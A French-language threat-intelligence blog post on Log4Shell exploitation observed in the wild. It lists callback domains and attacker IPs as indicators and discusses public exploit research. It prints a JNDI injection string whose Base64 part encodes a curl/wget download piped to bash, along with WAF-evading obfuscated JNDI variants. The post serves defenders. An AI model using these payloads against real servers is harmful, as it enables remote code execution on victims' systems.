Les exploits JNDI ont fait sensation le week-end dernier. De nombreuses équipes de sécurité à travers le monde se sont précipitées à leurs postes, passant de longues heures à identifier, bloquer, patcher et probablement à se battre avec les équipes d'infrastructure pour effectuer des changements afin de patcher ce 0day maintenant appelé CVE-2021-44228.
L'évolution des exploits vue à travers les métadonnées du réseau
Au cours du week-end et de cette semaine, Vectra a surveillé activement les tentatives des attaquants de tirer parti de cet exploit dans la nature. Le graphique ci-dessous, tiré de Vectra Recall montre une avalanche de requêtes HTTP contenant les charges utiles permettant d'orchestrer l'exploit.
La plupart de ces tentatives initiales provenaient du réseau ToR et essayaient d'amener les hôtes à rappeler le domaine : *bingsearchlib[.]com. Bien qu'il y ait des spéculations sur ce que ce domaine laissait tomber, aucune charge utile n'a été récupérée à partir de ce domaine par Vectra. L'analyse privée suggère que la charge utile était liée au minage de pièces de monnaie, mais d'autres facteurs peuvent brouiller les pistes en ce qui concerne les connexions ToR, ce dont nous parlerons prochainement. Vectra a observé les différents domaines utilisés comme rappel dans les chaînes log4shell (soit dans l'agent utilisateur, l'URI ou d'autres champs de texte en clair de la requête HTTP). Une série de domaines observés par Vectra sont énumérés ci-dessous, ainsi que des domaines apparentés nommés par fox-it open source intelligence*.
ds.Rce[.]ee
*bingsearchlib[.]com
*psc4fuel.com
*eg0[.]ru
*awsdns-2[.]org
*flofire[.]de
*nijat[.]space
*dataastatistics[.]com
*pwn[.]af
*log4j-test[.]xyz
L'utilisation de l'exploit tel qu'il a été identifié à l'origine a évolué, les attaquants potentiels encodant la partie exécutable de l'exploit dans une chaîne Base64 à la fin de l'url JNDI, par exemple :
${jndi:ldap://1.2.3.4:12344/Basic/Command/Base64/KGN1cmwgLXMgMS4yLjMuNDo1ODc0LzEuMi4zLjQ6NDQzfHx3Z2V0IC1xIC1PLSAxLjIuMy40OjU4NzQvMS4yLjMuNDo0NDMpfGJhc2g=
Vectra a observé des adresses IP avec cet encodage à de nombreuses reprises dans nos métadonnées. Ces adresses IP ainsi que les IP apparentées nommées par fox-it open source intelligence sont signalées ci-dessous.
45.146.164[.]160
134.209.26[.]39
45.130.229[.]168
45.83.193[.]150
172.111.48[.]30
45.137.21[.]9
205.185.115[.]217
185.162.251[.]208
45.130.229[.]168
79.172.214[.]11
143.198.237[.]19
162.33.177[.]73
133.130.120[.]176
163.172.157[.]143
45.137.21[.]9
34.125.76[.]237
45.33.47[.]240
152.89.239[.]12
45.155.205[.]233
194.151.29[.]154
158.69.204[.]95
47.254.127[.]78
Une autre évolution que nous avons observée dans la nature est un deuxième niveau d'obscurcissement déployé par les acteurs de la menace. Il s'agit d'une autre caractéristique du moteur JNDI, qui permet aux chaînes envoyées d'être décodées dans leur format d'origine, puis la connexion au service LDAP/annuaire est exécutée. Les exemples suivants ont été observés :
${jndi:${lower:l}${lower:d}a${lower:p}://world80
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
${jndi:dns://
Bien que nous ayons noté cette évolution à la fin de notre précédent blog du 10 décembre, son utilisation a en fait diminué depuis. Pourquoi ?
Malheureusement, les défenseurs favorisent l'évolution des exploits
Alors que les défenseurs s'efforcent de mettre en place des défenses contre les nouveaux exploits, les attaquants cherchent à évoluer. L'abandon du deuxième niveau peut être lié spécifiquement à ce dépôt sur GitHub et à ce tweet :
L'outil est un exploit POC de la vulnérabilité, et bien qu'il commence par des termes tels que "démarrer un serveur web permettant de télécharger le binaire compilé", il passe très rapidement à des méthodes pour contourner les WAFs. C'est de là que proviennent les principales méthodes d'obscurcissement. On peut faire valoir que les défenseurs doivent savoir comment contourner leurs propres outils pour se défendre contre ces méthodes. L'analyse des types d'obscurcissement évoqués permet aux équipes de développer de meilleurs modèles de recherche et des outils qui leur permettent de détecter certaines de ces nouvelles tentatives, comme nous l'avons vu plus haut. Mais il est indéniable que les attaquants modifient leurs tactiques en fonction de l'évolution des chercheurs en sécurité, et il n'y a pas de limite à l'élaboration de signatures d'exploits spécifiques.
Pour reprendre un vieil exemple, Empire était un outil conçu comme un cadre de Pentest construit autour de PowerShell, mais il a très vite été utilisé par des acteurs malveillants pour compromettre et installer leurs propres implants, souvent avec des modifications pour échapper à leurs créateurs. Les techniques développées dans Empire sont encore utilisées aujourd'hui dans les compromissions IcedID et Emotet**.
Log4Shell n'échappe pas à ce phénomène. Récemment, le chercheur Márcio Almeida a tweeté ce qui suit :
Ce qui fait tomber à l'eau l'un des facteurs d'atténuation du blog original de LunaSec sur la vulnérabilité de Log4Shell :
Les administrateurs système, les analystes SOC, les équipes bleues du monde entier - j'entends ce gémissement collectif. Pendant la phase active d'un exploit, que nous observons dans la nature, un facteur d'atténuation peut faire la différence entre vous donner le temps de mettre à jour et l'installation complète d'un rootkit lorsque quelqu'un contourne ce facteur d'atténuation.
Ce type de recherche est précieux et permet de faire avancer la conversation et les pratiques de sécurité dans leur ensemble, mais au cours d'un événement mondial actif, il peut également jeter de l'huile sur le feu. De même, la recherche de vulnérabilités au cours de cet événement mondial pourrait également être considérée comme contre-productive.
Chumming Water or Just Making it Hard to See the Sharks ?
L'une des tentatives d'attaque les plus observées n'a pas été le fait d'acteurs malveillants ou d'individus testant l'exploit, mais en fait de sociétés de sécurité qui ont analysé de nombreux hôtes sur l'internet afin d'identifier les cibles vulnérables.
Vectra a observé au moins deux sociétés de sécurité, l'une aux États-Unis et l'autre dans la région DACH, qui analysent les hôtes en utilisant de multiples techniques d'obscurcissement et en effectuant des renvois vers leurs propres domaines. Si cette activité peut être considérée comme égalitaire et comme un moyen d'aider les gens à identifier leurs propres systèmes vulnérables, elle peut aussi avoir pour but d'attirer des clients pour leurs propres services. Quoi qu'il en soit, un grand nombre de tentatives d'analyse initiales ont été remplies par les propres tentatives d'analyse des entreprises, ce qui a rendu beaucoup plus difficile l'identification des comportements malveillants authentiques.
Conclusions
Log4shell n'est pas le premier exploit à perturber le monde et je peux affirmer avec certitude que ce ne sera pas le dernier. Les attaquants continueront d'évoluer, poussant les défenseurs à leurs limites pour essayer de les empêcher d'entrer. Log4shell est une fois de plus un signal d'alarme pour l'ensemble du secteur : les problèmes de sécurité ne disparaîtront pas et, quels que soient nos investissements en matière de prévention, les attaquants trouveront un moyen.
Vous voulez vous tenir au courant des développements précédents ? Vous pouvez lire le premier article sur Log4Shell, ici.
--
*https://blog.fox-it.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/
**https://blogs.vmware.com/security/2018/06/carbon-black-tau-threat-analysis-emotet-banking-trojan-leverages-ms-office-word-docs-powershell-deliver-malware.html